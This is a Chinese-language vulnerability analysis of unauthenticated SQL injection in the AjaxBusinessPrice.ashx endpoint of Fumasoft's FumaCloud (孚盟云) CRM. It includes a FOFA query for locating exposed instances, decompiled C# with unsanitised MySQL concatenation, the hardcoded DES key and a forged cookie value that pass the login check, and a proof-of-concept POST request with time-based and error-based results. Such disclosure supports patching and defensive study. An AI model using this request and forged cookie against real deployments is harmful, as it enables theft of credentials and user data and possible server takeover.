漏洞简介
上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云AjaxBusinessPrice.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
app="孚盟软件-孚盟云"
漏洞分析
直接看 AjaxBusinessPrice.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 AjaxBusinessPrice 方法的实现如下
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
string str = context.Request["action"];
if (!string.IsNullOrEmpty(UserCookie.GetCookieValue("empId")))
{
this.userId = UserCookie.GetCookieValue("empId");
this.userId = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(this.userId);
}
else
{
Helper.WriteLog("empID:空", "ajaxbusiness");
context.Response.Write("-1");
}
string s = str;
// ISSUE: reference to a compiler-generated method
switch (\u003CPrivateImplementationDetails\u003E.ComputeStringHash(s))
{
case 315799074:
if (!string.op_Equality(s, "insertBusiPrice"))
break;
this.insertBusiPrice(context);
break;
case 323632542:
if (!string.op_Equality(s, "ImportBusinessPriceFiles"))
break;
this.ImportBusinessPriceFiles(context);
break;
首先判断Cookie里的empId是否为空,如果为空直接响应“-1”,因此跟进GetCookieValue方法看下Cookie取值如何取的
public static string GetCookieValue(string key)
{
if (HttpContext.Current == null)
return "";
HttpCookie cookie = HttpContext.Current.Request.Cookies[nameof (UserCookie)];
try
{
string cookieValue = "";
if (cookie != null && JsonConvert.DeserializeObject(cookie.Value, typeof (Hashtable)) is Hashtable hashtable && hashtable.ContainsKey((object) key))
cookieValue = hashtable[(object) key].ToString();
return cookieValue;
}
catch (Exception ex)
{
UserCookie.WriteLog("cookie err:" + ex.Message, "ddSaas");
return "";
}
}
OJBK,看到 JsonConvert类的使用,非常明了,请求里的Cookie就是一串json,类似{"UserId":"12345","UserName":"张三","Role":"Admin"} 这种格式,cookie的键名就是UserCookie
根据代码逻辑,我们的请求cookie只需要存在UserCookie={"empId":"xxxx"} 这种格式就可满足条件了。
再看看FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(this.userId)相关解密实现

朴实无华的DES解密,key(密钥)在代码里硬编码为 fumasoft

且一般c#的DES加密模式为ECB,填充模式PKCS7,我们也可以据此伪造要给合法的empId,比如 1 经过 des ECB PKCS7 加密后为 e0a40f1c63e6b84f。
根据参数action的值进入不同的处理逻辑,当action=ImportBusinessPriceFiles时,看ImportBusinessPriceFiles方法的实现
public void ImportBusinessPriceFiles(HttpContext context)
{
try
{
Helper.WriteLog("ImportBusinessPriceFiles: start", "products");
string str1 = context.Request["templateId"] == null ? "18" : context.Request["templateId"].ToString();
int num = context.Request["Fid"] == null ? 927 : Convert.ToInt32(context.Request["Fid"].ToString());
int int32 = context.Request["type"] == null ? 0 : Convert.ToInt32(context.Request["type"].ToString());
Helper.WriteLog("ImportBusinessPriceFiles: templateId:" + str1, "products");
Helper.WriteLog("ImportBusinessPriceFiles: Fid:" + (object) num, "products");
Helper.WriteLog("ImportBusinessPriceFiles: type:" + (object) int32, "products");
DataTable table = MySqlHelper.ExecuteDataSet(new EncryptData().DecryptString(MySqlHelper.DBConnectionString), (CommandType) 1, $"select * from Tempelate where TempelateId = '{str1}' ").Tables[0];
templateId 参数未经过任何过滤或校验就被直接拼接进SQL语句中进行执行,从而造成SQL注入漏洞,这里需要注意数据库相关操作为MySQL数据库,而非sql server !
当action=checkBusinessPrice时

跟进getEmpAllMouldByEmpId方法
public string getEmpAllMouldByEmpId(string empId)
{
if (string.IsNullOrEmpty(empId) && !string.IsNullOrEmpty(UserCookie.GetCookieValue(nameof (empId))))
{
empId = UserCookie.GetCookieValue(nameof (empId));
empId = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(empId);
}
string empAllMouldByEmpId = "";
if (!string.IsNullOrEmpty(empId))
{
StringBuilder stringBuilder = new StringBuilder();
DataTable table = this.dbHelper.Query($" select MouldID from syLicMouldDtl where MouldKey in (select MouldKey from syLicMouldEmp where EmpID = '{empId}')").Tables[0];
OK,参数empId被直接拼接进SQL语句执行,同样造成SQL注入漏洞,还是这么朴实无华!
以及ImportBusinessPriceToDingPan

GetContactEmailByFid

GetContacts

GetContactEmail

getCustReturnValue

getBusinessPriceHtml

moreLoad

GetBmailByFid

GetCqnoByFid

saveBusinessPriceForPdf

sendBusinessPriceMessage

createShoppingCart

漏洞复现
漏洞利用需要注意,此处是MySQL数据库相关操作,并非mssql !
POST /m/Dingding/Ajax/AjaxBusinessPrice.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"1"}
Content-Type: application/x-www-form-urlencoded
action=ImportBusinessPriceFiles&templateId='SQLI_POC&Fid=1&type=1

成功延时 4 秒
以及 action=checkBusinessPrice 时

通过报错注入,成功在响应里回显数据库版本信息
此类的其余诸多的sql注入方法就不一一复现了




